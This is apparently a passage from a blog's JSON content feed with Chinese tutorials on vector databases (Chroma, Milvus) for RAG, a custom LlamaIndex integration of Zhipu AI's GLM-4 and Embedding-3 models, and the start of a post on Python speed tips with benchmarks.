看起来代码多，实际上重要的就是这两行：\n1storage_context = StorageContext.from_defaults(persist_dir=\u0026#34;index\u0026#34;) 2index = load_index_from_storage(storage_context) 也很容易理解，见文知意。\n索引创建后，index 会自动创建一些文件来保存向量信息：\n向量数据库 一般情况下，比如小型项目，将向量数据保存在系统文件中就已经够用了。但是，在中大型项目中，由于数据规模较大，使用人数较多，为了方便管理和扩展，我们会使用专业的向量数据库来存储和管理向量数据。\n你可以借助下图了解下向量数据库在 AIGC 应用架构中的位置和作用\n向量数据库选型 “\nRAG 系统的成功在很大程度上取决于其高效地获取和处理海量信息的能力。向量数据库又在其中发挥了不可替代的作用，并构成了 RAG 系统的核心\n不看不知道，作为一个数据库软件 ，目前向量数据库领域是真卷啊，打眼一看至少有几十个。知名的也得有 10 几个。\n说实话，最开始还真有些茫然，有点儿挑花眼了，我们这里列举几个知名的向量数据库：\nMilvus 是一个 2019 年开源的纯向量数据库，号称全球最先进的开源向量数据库。它是 LF AI \u0026amp; Data Foundation（简称 LFAI，它相当于 CNCF 在云原生界的地位）赞助的毕业项目\nChroma 是一个相对较新的向量数据库，目前它的设计确实是以单节点模式为主，主要用于中小型应用或开发测试环境。然而，对于需要更高可用性和横向扩展能力的生产环境，Chroma 当前的版本可能还不完全满足需求。Chroma 内置了 SQLite 作为其底层存储引擎\nWeaviate ：是一个云原生的、开源的向量数据库。专为大规模的向量数据存储和检索设计。它结合了向量搜索和图数据库的优势，适用于机器学习、推荐系统、图像识别和自然语言处理等场景。\nFaiss ：由 Facebook AI Research 开发的 Faiss 是一个开源库，用于快速、密集向量相似性搜索和分组\nQdrant 是一个开源的向量数据库，专为高效的大规模向量数据存储和检索设计。它适用于机器学习、推荐系统、图像识别和自然语言处理等场景，提供了高性能和易用性的结合。\nPGVector 是一个基于 PostgreSQL 的扩展插件，旨在提供强大的向量存储和查询功能，PGVector 可以无缝集成到现有的 PostgreSQL 数据库中，用户无需迁移现有的数据库即可开始使用向量搜索功能。因为是 PostgreSQL 插件，借助 PostgreSQL 的长期开发和优化，PGVector 继承了其可靠性和稳健性，同时在向量化处理方面进行了增强。\n整体上看在向量数据库领域有这么几类玩家：\n专做向量数据库的，大部分是开源的，如 Chroma、Weaviate 等 做关系型数据库的扩展或插件，如 PGVector 做 NoSQL 数据库的功能扩展或兼容，如 Elasticsearch、 Redis、 ClickHouse 等 太多了，真是太多了，最开始我做选型的时候真是有点儿挑花眼了。最后，一点点缩小范围，最终进入决赛圈的是：\nQdrant Weaviate Milvus 你可以通过 https://zilliz.com.cn/comparison 来了解各向量数据库之间的对比情况\n最终我选择了 Milvus 原因是：\n它确实很知名，看了那么多评测，各方面性能都很能打 我个人觉得比较重要的是它还有数据库管理客户端 attu 向量数据库不像我之前使用过的关系型数据库，一般是没有像 Navicat 、DataGrip 这样的数据库管理客户端的。一般只有 CRUD 接口或 CLI 客户端。这对于初学者了解和学习向量数据库不太友好，所以我还是特别希望有这样一个有 GUI 图形界面、看得见摸得着的客户端的，而 Milvus 正好是有的。就是 attu （可以通过 https://github.com/zilliztech/attu 下载）\n如果你也和我一样在 Qdrant、Weaviate、Milvus 之间纠结的话，可以参考网上一位大哥对它们的评价：“总结起来就是，Qdrant 开销特别小，Weaviate 支持向量搜索、对象存储和倒排索引的组合，Milvus 性能最强、花活最多。”\nChroma LlamaIndex 官方的例子使用的是 Chroma 作为向量数据库进行向量存储。\n默认情况下，Chroma 会将向量数据存储在本地文件系统中。我们就以 Chroma 为例写个例子。\nChroma 不需要安装外部软件，安装导入相关的库就可了\n1import chromadb 2from llama_index.vector_stores.chroma import ChromaVectorStore 在导入了 Chroma 相关的库后，我们将 load_or_create_index() 方法调整一下：\n1def load_or_create_index(): 2 3 # 初始化客户端，设置数据保存路径 4 db = chromadb.PersistentClient(path=\u0026#34;./chroma_db\u0026#34;) 5 # 创建或获取集合 6 chroma_collection = db.get_or_create_collection(\u0026#34;quickstart\u0026#34;) 7 # 将 chroma 指定为上下文的 vector_store 8 vector_store = ChromaVectorStore(chroma_collection=chroma_collection) 9 storage_context = StorageContext.from_defaults(vector_store=vector_store) 10 11 # 检查集合是否为空 12 if chroma_collection.count() == 0: 13 # 如果集合为空，加载文档并创建新的索引 14 documents = SimpleDirectoryReader(\u0026#34;./data\u0026#34;).load_data() 15 index = VectorStoreIndex.from_documents(documents, storage_context=storage_context) 16 print(\u0026#34;已创建新的索引\u0026#34;) 17 else: 18 # 如果集合不为空，直接从 vector_store 加载索引 19 index = VectorStoreIndex.from_vector_store(vector_store, storage_context=storage_context) 20 print(\u0026#34;已加载现有索引\u0026#34;) 21 22 return index 可以看到也很简单。程序运行后，chroma_db 文件夹下会自动创建以下文件：\n前文中我们提到过 chroma 内置了 SQLite ，这里就体现出来了。\nMilvus 在使用 Milvus 前我们需要先安装它。它有多种安装方式，我本地通过 Docker-Compose 安装\n1version: \u0026#39;3.5\u0026#39; 2 3services: 4 etcd: 5 container_name: milvus-etcd 6 image: quay.io/coreos/etcd:v3.5.14 7 environment: 8 - ETCD_AUTO_COMPACTION_MODE=revision 9 - ETCD_AUTO_COMPACTION_RETENTION=1000 10 - ETCD_QUOTA_BACKEND_BYTES=4294967296 11 - ETCD_SNAPSHOT_COUNT=50000 12 volumes: 13 - ${DOCKER_VOLUME_DIRECTORY:-.}/volumes/etcd:/etcd 14 command: etcd -advertise-client-urls=http://127.0.0.1:2379 -listen-client-urls http://0.0.0.0:2379 --data-dir /etcd 15 healthcheck: 16 test: [\u0026#34;CMD\u0026#34;, \u0026#34;etcdctl\u0026#34;, \u0026#34;endpoint\u0026#34;, \u0026#34;health\u0026#34;] 17 interval: 30s 18 timeout: 20s 19 retries: 3 20 21 minio: 22 container_name: milvus-minio 23 image: minio/minio:RELEASE.2023-03-20T20-16-18Z 24 environment: 25 MINIO_ACCESS_KEY: minioadmin 26 MINIO_SECRET_KEY: minioadmin 27 ports: 28 - \u0026#34;9001:9001\u0026#34; 29 - \u0026#34;9000:9000\u0026#34; 30 volumes: 31 - ${DOCKER_VOLUME_DIRECTORY:-.}/volumes/minio:/minio_data 32 command: minio server /minio_data --console-address \u0026#34;:9001\u0026#34; 33 healthcheck: 34 test: [\u0026#34;CMD\u0026#34;, \u0026#34;curl\u0026#34;, \u0026#34;-f\u0026#34;, \u0026#34;http://localhost:9000/minio/health/live\u0026#34;] 35 interval: 30s 36 timeout: 20s 37 retries: 3 38 39 standalone: 40 container_name: milvus-standalone 41 image: milvusdb/milvus:v2.3.0 42 command: [\u0026#34;milvus\u0026#34;, \u0026#34;run\u0026#34;, \u0026#34;standalone\u0026#34;] 43 security_opt: 44 - seccomp:unconfined 45 environment: 46 MINIO_REGION: us-east-1 47 ETCD_ENDPOINTS: etcd:2379 48 MINIO_ADDRESS: minio:9000 49 volumes: 50 - ${DOCKER_VOLUME_DIRECTORY:-.}/volumes/milvus:/var/lib/milvus 51 healthcheck: 52 test: [\u0026#34;CMD\u0026#34;, \u0026#34;curl\u0026#34;, \u0026#34;-f\u0026#34;, \u0026#34;http://localhost:9091/healthz\u0026#34;] 53 interval: 30s 54 start_period: 90s 55 timeout: 20s 56 retries: 3 57 ports: 58 - \u0026#34;19530:19530\u0026#34; 59 - \u0026#34;9091:9091\u0026#34; 60 depends_on: 61 - \u0026#34;etcd\u0026#34; 62 - \u0026#34;minio\u0026#34; 63 64networks: 65 default: 66 name: milvus 安装好以后，可以看到它内部有三个容器：\n接着我们安装 attu，它的安装比较简单，下载相关平台的安装文件安装即可\nattu 安装完成后打开进行 Milvus 的连接：\n默认地址是 127.0.0.1:19530\n接着，我们来到程序这里，进行连接和使用，同样，要先导入库\n1from llama_index.vector_stores.milvus import MilvusVectorStore 然后我们调整一下之前的方法，改写一个新的方法来连接 Miluvs:\n1def get_or_create_index(is_create: bool = False): 2 \u0026#34;\u0026#34;\u0026#34; 3 获取或创建索引 4 overwrite 设置为 False 意味着如果同名的集合已存在，将不会覆盖它。 5 dim 是向量维度，必须与 embedding 模型的维度一致。 6 \u0026#34;\u0026#34;\u0026#34; 7 vector_store = MilvusVectorStore( 8 uri=\u0026#34;http://localhost:19530\u0026#34;, 9 dim=256, 10 overwrite=False, 11 collection_name=\u0026#34;llamaindex_collection\u0026#34;, 12 ) 13 14 if is_create: 15 storage_context = StorageContext.from_defaults(vector_store=vector_store) 16 documents = SimpleDirectoryReader(\u0026#34;./data\u0026#34;).load_data() 17 index = VectorStoreIndex.from_documents( 18 documents, storage_context=storage_context 19 ) 20 print(\u0026#34;已成功创建并存储新的索引。\u0026#34;) 21 else: 22 index = VectorStoreIndex.from_vector_store(vector_store) 23 24 return index 我相信如果你阅读了前文，知道这段代码的重要点在哪里。\n当 RAG 应用程序正常运行后，向量数据就被存储到了 Milvus 数据库中：\n有了 GUI 界面，就比较直观地能感受到向量数据是个什么样子了。\n有关在 attu 中进行向量数据的查询等操作可以参数相关文档，本文就不多说了。\n使用向量数据库存储以后，我们再次运行查询，速度就很快了，因为第一次运行的时候就已经把文档 embedding 后的向量存储起来了，只需要从 Milvus 中加载查询就可以了，不用再走 http 远程调用。\n总结 在本文中，我们深入探讨了如何通过 LlamaIndex 整合智谱 AI 的 GLM-4 和 Embedding-3 模型来构建 RAG 应用，并针对 Embedding-3 模型同步调用导致的性能瓶颈问题，提出了有效的解决方案。我们发现，将文档的向量存储起来，可以显著提高检索速度，避免了重复的 HTTP 同步请求，从而节省了成本和时间。\n通过本地文件存储和向量数据库的选型，我们对比了多种向量数据库的特点和性能，最终选择了 Milvus 作为我们的向量数据库。Milvus 以其卓越的性能和易用性脱颖而出，特别是其数据库管理客户端 attu，为初学者提供了友好的图形界面，使得向量数据库的管理和操作变得更加直观和便捷。\n在实际应用中，我们通过 Docker-Compose 安装了 Milvus，并利用 attu 进行了连接和操作。通过将向量数据存储到 Milvus 数据库中，我们显著提高了查询速度，因为文档的向量在第一次运行时就已经被存储起来，后续的查询可以直接从 Milvus 中加载，无需再次进行远程 HTTP 调用。\n此外，我们还探讨了使用 Chroma 作为向量数据库的方案，它内置了 SQLite，简化了安装和使用过程。通过 LlamaIndex 的 API，我们可以轻松地将向量存储到本地文件或 Chroma 数据库中，进一步增强了 RAG 应用的性能和可扩展性。\n总的来说，通过本文的探讨和实践，我们不仅解决了 RAG 应用中的性能问题，还为中大型项目提供了一种高效、可扩展的向量数据存储和管理方案。随着 AI 技术的不断发展，向量数据库在 AIGC 应用架构中的作用将越来越重要，而 Milvus 等向量数据库的选择和应用，将为构建更加智能和高效的 AI 应用提供强有力的支持。\n本文所涉及的完整代码在该项目中：https://github.com/xiaobox/llamaindex_test 大家可按需自取\n","date":"2024-10-11T08:22:08Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-10-11-milvus-shi-zhan-ru-he-yong-yi-ge-shu-ju-ku-ti-sheng-ni-de-ai/cover.jpg","permalink":"/p/2024-10-11-milvus-shi-zhan-ru-he-yong-yi-ge-shu-ju-ku-ti-sheng-ni-de-ai/","title":"Milvus实战：如何用一个数据库提升你的AI项目性能"},{"content":"回顾 上文 提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型，LlamaIndex 实战解析 我们介绍了如何通过 DeepSeek 的 API 调用 DeepSeek v2.5 模型 替换通过 Ollama 调用本地下载好的 Qwen2.5 模型。\n这样做的目的是想通过 API 调用远程部署好的 LLM 给我们的 RAG 应用提提速。不然由于本地个人电脑计算资源的不足（我的电脑没有 GPU）会导致 RAG 应用运行缓慢。\n在我们的 RAG 应用中分别使用了两个模型 ，一个是 embedding 模型，它的作用有这么几点：\n文档嵌入（Document Embedding） 表示文档：将文档转换为高维向量（embeddings），这些向量能够捕捉文档的语义信息。 相似度计算：通过计算查询和文档嵌入之间的相似度，找到与查询最相关的文档。 查询嵌入（Query Embedding） 表示查询：将用户的查询转换为高维向量，这些向量能够捕捉查询的语义信息。 检索相关文档：通过计算查询嵌入和文档嵌入之间的相似度，找到与查询最相关的文档 文档检索（Document Retrieval） 高效检索：通过向量数据库（如 Faiss、Annoy 等），快速找到与查询最相关的文档。 相关性排序：根据相似度得分对检索到的文档进行排序，选择最相关的文档作为生成回答的依据。 生成回答（Answer Generation） 融合信息：将检索到的相关文档与查询结合，生成高质量的回答。 上下文感知：利用检索到的文档作为上下文，生成更加准确和丰富的回答。 其中第 4 点，要结合 LLM 来完成。所以这也是我们在 RAG 应用中使用第二个模型\u0026ndash;大语言模型（LLM） 的意义。\n我们再通过回顾 2 张图片来比较直观地了解下 embedding 和 LLM 在 RAG 中的作用：\nembedding 过程\nRAG\n问题 上文遗留的问题很明显，因为我们需要使用的 2 个模型通过 DeekSeek 的 API 只替换了其中的LLM，而 embedding 模型仍然用的是本地的。没有替换是因为 DeepSeek 的 API 不支持：\n引自 deepseek 文档\n虽然我们下载的 embedding 模型 BAAI/bge-base-zh-v1.5 比较小巧，在本地运行的速度也还行，但我还是想试一下调用远程部署好的更大更优秀的 embedding 模型后会怎样？\n于是我将目光转向了另一个很知名，同样很优秀的国产 AI 公司 智谱 AI\n智谱 AI 这两年 AI 的发展如火如荼，以 ChatGPT 为代表的一众 AIGC 应用深入人心，这些应用的背后都少不了大语言模型的支持。然而对于国内用户使用这些产品仍然有门槛。大家不禁想找到一个能打的国产 AI 产品。\n去年秋天我还在迷信 ChatGPT 的能力是“宇宙无敌”，直到我体验了 智谱 AI 旗下的 智谱清言 我才觉得国产 AI 产品在中文语料下的能力并不比别人差。\n智谱是由清华大学计算机系技术成果转化而来的公司。它的发展很快。目前可供用户使用的各类模型 20 余个。其中包括：\n大规模语言模型 GLM-4 视频生成模型 CogVideoX 代码模型 CodeGeeX-4 图片生成模型 CogView-3 嵌入式模型 Embedding-3 \u0026hellip;\u0026hellip; 智谱在开源领域也做出了极大贡献，上面列举的这些模型都能在 HuggingFace 或 GitHub 上找到开源的版本。\n智谱 AI 最让我们熟悉的产品是其 C 端 AIGC 产品 智谱清言\n在中文语料下，它的问答质量不比 GPT-4 差！\nLlamaIndex 集成 Zhipu embedding 通过查看智谱 AI 大模型开放平台的文档得知它有两款 embedding 模型可以通过 API 调用\n于是决定将 Embedding-3 试着集成到 LlamaIndex 中。\n当然，调用 API 首先你要有 API Key 以及可用的 tokens，这个我们在之前的文章我介绍过，一般是需要付费的，智谱 AI 会给新老用户赠送一些 tokens，之前赠送给了我 1000w tokens ，所以下面的示例我就用这些免费的 tokens。\n简单 demo 我们先根据文档写一个最简单的模型调用 demo\n1from zhipuai import ZhipuAI 2import os 3 4client = ZhipuAI(api_key=os.getenv(\u0026#34;GLM_4_PLUS_API_KEY\u0026#34;)) 5response = client.embeddings.create( 6 model=\u0026#34;embedding-3\u0026#34;, 7 input=[ 8 \u0026#34;美食非常美味，服务员也很友好。\u0026#34;, 9 \u0026#34;这部电影既刺激又令人兴奋。\u0026#34;, 10 \u0026#34;阅读书籍是扩展知识的好方法。\u0026#34;, 11 ], 12) 13print(response) 它响应的输出是这样的：\n这输出的一片数字是啥？\n这里简单解释一下：嵌入是将文字、图像或其他类型的数据转换成一系列数字（向量）的过程。这个向量在高维空间中代表了原始数据的语义信息。你看到的那一长串数字（如 -0.019210815, -0.0023460388, 0.010299683 等）就是嵌入向量的具体值。每个数字代表向量在某个维度上的值，这些数字虽然看起来没有明显意义，但它们在高维空间中编码了输入文本的语义信息。相似的文本会产生相似的向量，这使得我们可以进行语义相似度比较。这种表示方法使得机器能够更好地\u0026quot;理解\u0026quot;和处理文本数据。\n能够正常输出，代表模型调用成功。\n和 LlamaIndex 集成 在之前的文章中我们已经通过 Custom LLM 的方式将 LlamaIndex 和 GLM-4 集成在一起了，也就是在 RAG 应用中使用的框架是 LlamaIndex ，调用 的 LLM 是 GLM-4。\n同理，现在我们要把 embedding 模型也同 LlamaIndex 集成起来，这样我们自己写的这个 RAG 应用的技术组合就是 RAG = LlamaIndex +GLM-4 + Embedding-3\n和 LLM 一样，在 LlamaIndex 文档的 embedding 模型兼容列表中并没有 Zhipu 的 Embedding-3 ，仍然需要通过自定义的方式来实现。\n这是文档中给的自定义 embedding 的例子：\n1from typing import Any, List 2from InstructorEmbedding import INSTRUCTOR 3from llama_index.core.embeddings import BaseEmbedding 4 5class InstructorEmbeddings(BaseEmbedding): 6 def __init__( 7 self, 8 instructor_model_name: str = \u0026#34;hkunlp/instructor-large\u0026#34;, 9 instruction: str = \u0026#34;Represent the Computer Science documentation or question:\u0026#34;, 10 **kwargs: Any, 11 ) -\u0026gt; None: 12 super().__init__(**kwargs) 13 self._model = INSTRUCTOR(instructor_model_name) 14 self._instruction = instruction 15 16 def _get_query_embedding(self, query: str) -\u0026gt; List[float]: 17 embeddings = self._model.encode([[self._instruction, query]]) 18 return embeddings[0] 19 20 def _get_text_embedding(self, text: str) -\u0026gt; List[float]: 21 embeddings = self._model.encode([[self._instruction, text]]) 22 return embeddings[0] 23 24 def _get_text_embeddings(self, texts: List[str]) -\u0026gt; List[List[float]]: 25 embeddings = self._model.encode( 26 [[self._instruction, text] for text in texts] 27 ) 28 return embeddings 29 30 async def _get_query_embedding(self, query: str) -\u0026gt; List[float]: 31 return self._get_query_embedding(query) 32 33 async def _get_text_embedding(self, text: str) -\u0026gt; List[float]: 34 return self._get_text_embedding(text) 仔细看的话，实际上只需要实现 2 个方法即可，下面的方法都会调用这两个方法：\n1 def _get_query_embedding(self, query: str) -\u0026gt; List[float]: 2 embeddings = self._model.encode([[self._instruction, query]]) 3 return embeddings[0] 4 5 def _get_text_embedding(self, text: str) -\u0026gt; List[float]: 6 embeddings = self._model.encode([[self._instruction, text]]) 7 return embeddings[0] 这里我们可以新建一个自定义的 embedding 类：\n1class ZhipuEmbeddings(BaseEmbedding): 2 client: ZhipuAI = Field(default_factory=lambda: ZhipuAI(api_key=API_KEY)) 3 4 def __init__( 5 self, 6 model_name: str = \u0026#34;embedding-3\u0026#34;, 7 **kwargs: Any, 8 ) -\u0026gt; None: 9 super().__init__(model_name=model_name, **kwargs) 10 self._model = model_name 11 12 def invoke_embedding(self, query: str) -\u0026gt; List[float]: 13 response = self.client.embeddings.create(model=self._model, input=[query]) 14 15 # 检查响应是否成功 16 if response.data and len(response.data) \u0026gt; 0: 17 return response.data[0].embedding 18 else: 19 raise ValueError(\u0026#34;Failed to get embedding from ZhipuAI API\u0026#34;) 20 21 def _get_query_embedding(self, query: str) -\u0026gt; List[float]: 22 return self.invoke_embedding(query) 23 24 def _get_text_embedding(self, text: str) -\u0026gt; List[float]: 25 return self.invoke_embedding(text) 26 27 def _get_text_embeddings(self, texts: List[str]) -\u0026gt; List[List[float]]: 28 return [self._get_text_embedding(text) for text in texts] 29 30 async def _aget_query_embedding(self, query: str) -\u0026gt; List[float]: 31 return self._get_query_embedding(query) 32 33 async def _aget_text_embedding(self, text: str) -\u0026gt; List[float]: 34 return self._get_text_embedding(text) 35 36 async def _aget_text_embeddings(self, texts: List[str]) -\u0026gt; List[List[float]]: 37 return self._get_text_embeddings(texts) 在利用 LlamaIndex 调用时，将 embed_model 设置为自定义类就可以了：\n1 # 设置 LLM 和嵌入模型 2 Settings.llm = GLM4LLM() 3 Settings.embed_model = ZhipuEmbeddings() 这样我们的 RAG 应用就把智谱 AI 的 GLM-4 和 Embedding-3 一起使用上了。\n以下是完整代码：\n1import os 2import sys 3import logging 4from zhipuai import ZhipuAI 5from typing import Any, List 6from llama_index.core import VectorStoreIndex, SimpleDirectoryReader, Settings 7from llama_index.core.embeddings import BaseEmbedding 8from llama_index.core.llms import ( 9 CustomLLM, 10 CompletionResponse, 11 CompletionResponseGen, 12 LLMMetadata, 13) 14from llama_index.core.llms.callbacks import llm_completion_callback 15from dotenv import load_dotenv 16from functools import cached_property 17from pydantic import Field 18 19# 配置日志 20logging.basicConfig(level=logging.INFO) 21logger = logging.getLogger(__name__) 22 23# 从环境变量获取 API 密钥 24load_dotenv() 25 26API_KEY = os.getenv(\u0026#34;GLM_4_PLUS_API_KEY\u0026#34;) 27if not API_KEY: 28 raise ValueError(\u0026#34;GLM_4_PLUS_API_KEY environment variable is not set\u0026#34;) 29 30class GLM4LLM(CustomLLM): 31 @cached_property 32 def client(self): 33 return ZhipuAI(api_key=API_KEY) 34 35 @property 36 def metadata(self) -\u0026gt; LLMMetadata: 37 return LLMMetadata() 38 39 def chat_with_glm4(self, system_message, user_message): 40 response = self.client.chat.completions.create( 41 model=\u0026#34;glm-4-plus\u0026#34;, 42 messages=[ 43 { 44 \u0026#34;role\u0026#34;: \u0026#34;system\u0026#34;, 45 \u0026#34;content\u0026#34;: system_message, 46 }, 47 { 48 \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, 49 \u0026#34;content\u0026#34;: user_message, 50 }, 51 ], 52 stream=True, 53 ) 54 return response 55 56 @llm_completion_callback() 57 def complete(self, prompt: str, **kwargs: Any) -\u0026gt; CompletionResponse: 58 response = self.chat_with_glm4(\u0026#34;你是一个聪明的 AI 助手\u0026#34;, prompt) 59 full_response = \u0026#34;\u0026#34;.join( 60 chunk.choices[0].delta.content 61 for chunk in response 62 if chunk.choices[0].delta.content 63 ) 64 return CompletionResponse(text=full_response) 65 66 @llm_completion_callback() 67 def stream_complete(self, prompt: str, **kwargs: Any) -\u0026gt; CompletionResponseGen: 68 response = self.chat_with_glm4(\u0026#34;你是一个聪明的 AI 助手\u0026#34;, prompt) 69 70 def response_generator(): 71 response_content = \u0026#34;\u0026#34; 72 for chunk in response: 73 if chunk.choices[0].delta.content: 74 response_content += chunk.choices[0].delta.content 75 yield CompletionResponse( 76 text=response_content, delta=chunk.choices[0].delta.content 77 ) 78 79 return response_generator() 80 81class ZhipuEmbeddings(BaseEmbedding): 82 client: ZhipuAI = Field(default_factory=lambda: ZhipuAI(api_key=API_KEY)) 83 84 def __init__( 85 self, 86 model_name: str = \u0026#34;embedding-3\u0026#34;, 87 **kwargs: Any, 88 ) -\u0026gt; None: 89 super().__init__(model_name=model_name, **kwargs) 90 self._model = model_name 91 92 def invoke_embedding(self, query: str) -\u0026gt; List[float]: 93 response = self.client.embeddings.create(model=self._model, input=[query]) 94 95 # 检查响应是否成功 96 if response.data and len(response.data) \u0026gt; 0: 97 return response.data[0].embedding 98 else: 99 raise ValueError(\u0026#34;Failed to get embedding from ZhipuAI API\u0026#34;) 100 101 def _get_query_embedding(self, query: str) -\u0026gt; List[float]: 102 return self.invoke_embedding(query) 103 104 def _get_text_embedding(self, text: str) -\u0026gt; List[float]: 105 return self.invoke_embedding(text) 106 107 def _get_text_embeddings(self, texts: List[str]) -\u0026gt; List[List[float]]: 108 return [self._get_text_embedding(text) for text in texts] 109 110 async def _aget_query_embedding(self, query: str) -\u0026gt; List[float]: 111 return self._get_query_embedding(query) 112 113 async def _aget_text_embedding(self, text: str) -\u0026gt; List[float]: 114 return self._get_text_embedding(text) 115 116 async def _aget_text_embeddings(self, texts: List[str]) -\u0026gt; List[List[float]]: 117 return self._get_text_embeddings(texts) 118 119# 设置环境变量，禁用 tokenizers 的并行处理 120os.environ[\u0026#34;TOKENIZERS_PARALLELISM\u0026#34;] = \u0026#34;false\u0026#34; 121 122def run_glm4_query_with_embeddings(query: str): 123 # 从指定目录加载文档数据 124 documents = SimpleDirectoryReader(\u0026#34;data\u0026#34;).load_data() 125 126 # 设置 LLM 和嵌入模型 127 Settings.llm = GLM4LLM() 128 Settings.embed_model = ZhipuEmbeddings() 129 130 # 创建索引和查询引擎 131 index = VectorStoreIndex.from_documents(documents) 132 query_engine = index.as_query_engine(streaming=True) 133 134 # 执行查询 135 print(\u0026#34;GLM-4 查询结果：\u0026#34;) 136 response = query_engine.query(query) 137 138 # 处理并输出响应 139 if hasattr(response, \u0026#34;response_gen\u0026#34;): 140 # 流式输出 141 for text in response.response_gen: 142 print(text, end=\u0026#34;\u0026#34;, flush=True) 143 sys.stdout.flush() # 确保立即输出 144 else: 145 # 非流式输出 146 print(response.response, end=\u0026#34;\u0026#34;, flush=True) 147 148 print(\u0026#34;\\n 查询完成\u0026#34;) 效果 从最终的使用效果上看，速度上不如之前使用本地 embedding 模型 BAAI/bge-base-zh-v1.5 快。因为执行了多次 Http 远程调用：\n所以我又查了一下文档看看有没有办法提提速：\n虽然有一个 dimensions 参数，虽然我感觉设置的越小维度越小数据也越少，那么速度可能更快，但实际测试下来速度并没有明显变化 。其主要原因还是：它是同步调用的\n看来从 API 上没办法提速了，只能在编程模型上想办法了，这里就不多说了。这里我认为，最好的方式还是在一个资源充足的服务器中部署一个开源的 embedding 模型 ，这样方便模型的微调及不限量的调用。速度也会快许多\n最后 我已将文章中涉及到的相关代码上传至 ：https://github.com/xiaobox/llamaindex_test\n这个仓库中包含了最新几篇文章中的所有 demo 代码，大家可以自行查看。\n","date":"2024-10-08T07:59:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-10-08-ti-sheng-rag-ying-yong-xing-neng-shi-yong-zhi-pu-ai-de-glm-4/cover.jpg","permalink":"/p/2024-10-08-ti-sheng-rag-ying-yong-xing-neng-shi-yong-zhi-pu-ai-de-glm-4/","title":"提升RAG应用性能：使用智谱AI的GLM-4和Embedding-3模型优化文档检索"},{"content":"在编程语言的讨论中，我们经常听到 “Python 太慢了” 的声音，这往往掩盖了 Python 的许多优点。但事实上，如果你能以 Pythonic 的方式编写代码，Python 可以非常快。\n细节决定成败。经验丰富的 Python 开发者拥有一系列微妙而强大的技巧，这些技巧可以显著提高代码的性能。\n这些技巧乍一看可能微不足道，但它们可以带来效率的大幅提升。让我们深入探讨这 9 种方法，改变你编写和优化 Python 代码的方式。\n1. 更快的字符串连接：巧妙选择 \u0026ldquo;join()\u0026rdquo; 或 \u0026ldquo;+\u0026rdquo; 如果有很多字符串需要处理，字符串连接就会成为 Python 程序的瓶颈。\n在 Python 中，字符串连接基本上有两种方式：\n使用join()函数将一个字符串列表合并为一个 使用+或+=符号将每个字符串添加到一个字符串中 那么哪种方式更快呢？\n让我们来定义 3 个不同的函数来连接相同的字符串：\n1mylist = [\u0026#34;Yang\u0026#34;, \u0026#34;Zhou\u0026#34;, \u0026#34;is\u0026#34;, \u0026#34;writing\u0026#34;] 2 3# 使用\u0026#39;+\u0026#39; 4def concat_plus(): 5 result = \u0026#34;\u0026#34; 6 for word in mylist: 7 result += word + \u0026#34; \u0026#34; 8 return result 9 10# 使用\u0026#39;join()\u0026#39; 11def concat_join(): 12 return \u0026#34; \u0026#34;.join(mylist) 13 14# 直接连接字符串，不使用列表 15def concat_directly(): 16 return \u0026#34;Yang\u0026#34; + \u0026#34;Zhou\u0026#34; + \u0026#34;is\u0026#34; + \u0026#34;writing\u0026#34; 根据你的第一印象，你认为哪个函数最快，哪个最慢？\n实际结果可能会让你惊讶：\n1import timeit 2 3print(timeit.timeit(concat_plus, number=10000)) 4# 0.002738415962085128 5print(timeit.timeit(concat_join, number=10000)) 6# 0.0008482920238748193 7print(timeit.timeit(concat_directly, number=10000)) 8# 0.00021425005979835987 如上所示，对于连接一个字符串列表，join()方法比在 for 循环中逐个添加字符串要快。\n原因是直接的。一方面，字符串在 Python 中是不可变数据，在每次+=操作中都会创建一个新的字符串并复制旧字符串，这在计算上是昂贵的。\n另一方面，.join()方法专门优化了字符串的连接。它预先计算结果字符串的大小，然后一次性构建它。因此，它避免了在循环中+=操作的开销，因此它更快。\n然而，在我们的测试中最快的函数是直接连接字符串字面量。它的高速度是由于：\nPython 解释器可以在编译时优化字符串字面量的连接，将它们变成单个字符串字面量。没有循环迭代或函数调用，这使得它是一个非常高效的操作。 由于所有字符串在编译时都是已知的，Python 可以非常快速地执行此操作，比循环中的运行时连接或甚至优化的.join()方法都要快得多。 总之，如果你需要连接一个字符串列表，请选择join()而不是+=。如果你想直接连接字符串，只需使用+即可。\n2. 更快的列表创建：使用\u0026quot;[]\u0026ldquo;而不是\u0026quot;list()\u0026rdquo; 创建列表不是什么大不了的事。有两种常见的方式：\n使用list()函数 直接使用[] 让我们使用一个简单的代码片段来测试它们的性能：\n1import timeit 2 3print(timeit.timeit(\u0026#39;[]\u0026#39;, number=10 ** 7)) 4# 0.1368238340364769 5print(timeit.timeit(list, number=10 ** 7)) 6# 0.2958830420393497 如结果所示，执行list()函数比直接使用[]要慢。\n这是因为[]是字面量语法，而list()是一个构造函数调用。调用函数无疑需要额外的时间。\n同样的逻辑，当创建字典时，我们也应该利用{}而不是dict()。\n3. 更快的成员测试：使用集合而不是列表 成员检查操作的性能在很大程度上取决于底层数据结构：\n1import timeit 2 3large_dataset = range(100000) 4search_element = 2077 5 6large_list = list(large_dataset) 7large_set = set(large_dataset) 8 9def list_membership_test(): 10 return search_element in large_list 11 12def set_membership_test(): 13 return search_element in large_set 14 15print(timeit.timeit(list_membership_test, number=1000)) 16# 0.01112208398990333 17print(timeit.timeit(set_membership_test, number=1000)) 18# 3.27499583363533e-05 如上述代码所示，集合中的成员测试比列表中的要快得多。\n为什么会这样？\n在 Python 列表中，成员测试（element in list）是通过遍历每个元素直到找到所需元素或到达列表末尾来完成的。因此，此操作的时间复杂度为 O(n)。 Python 中的集合是作为哈希表实现的。当检查成员资格（element in set）时，Python 使用哈希机制，其平均时间复杂度为 O(1)。 这里的要点是在编写程序时要仔细考虑底层数据结构。利用正确的数据结构可以显著加快我们的代码速度。\n4. 更快的数据生成：使用推导式而不是 for 循环 Python 中有四种类型的推导式：列表、字典、集合和生成器。它们不仅为创建相对数据结构提供了更简洁的语法，而且比使用 for 循环有更好的性能，因为它们在 Python 的 C 实现中进行了优化。\n1import timeit 2 3def generate_squares_for_loop(): 4 squares = [] 5 for i in range(1000): 6 squares.append(i * i) 7 return squares 8 9def generate_squares_comprehension(): 10 return [i * i for i in range(1000)] 11 12print(timeit.timeit(generate_squares_for_loop, number=10000)) 13# 0.2797503340989351 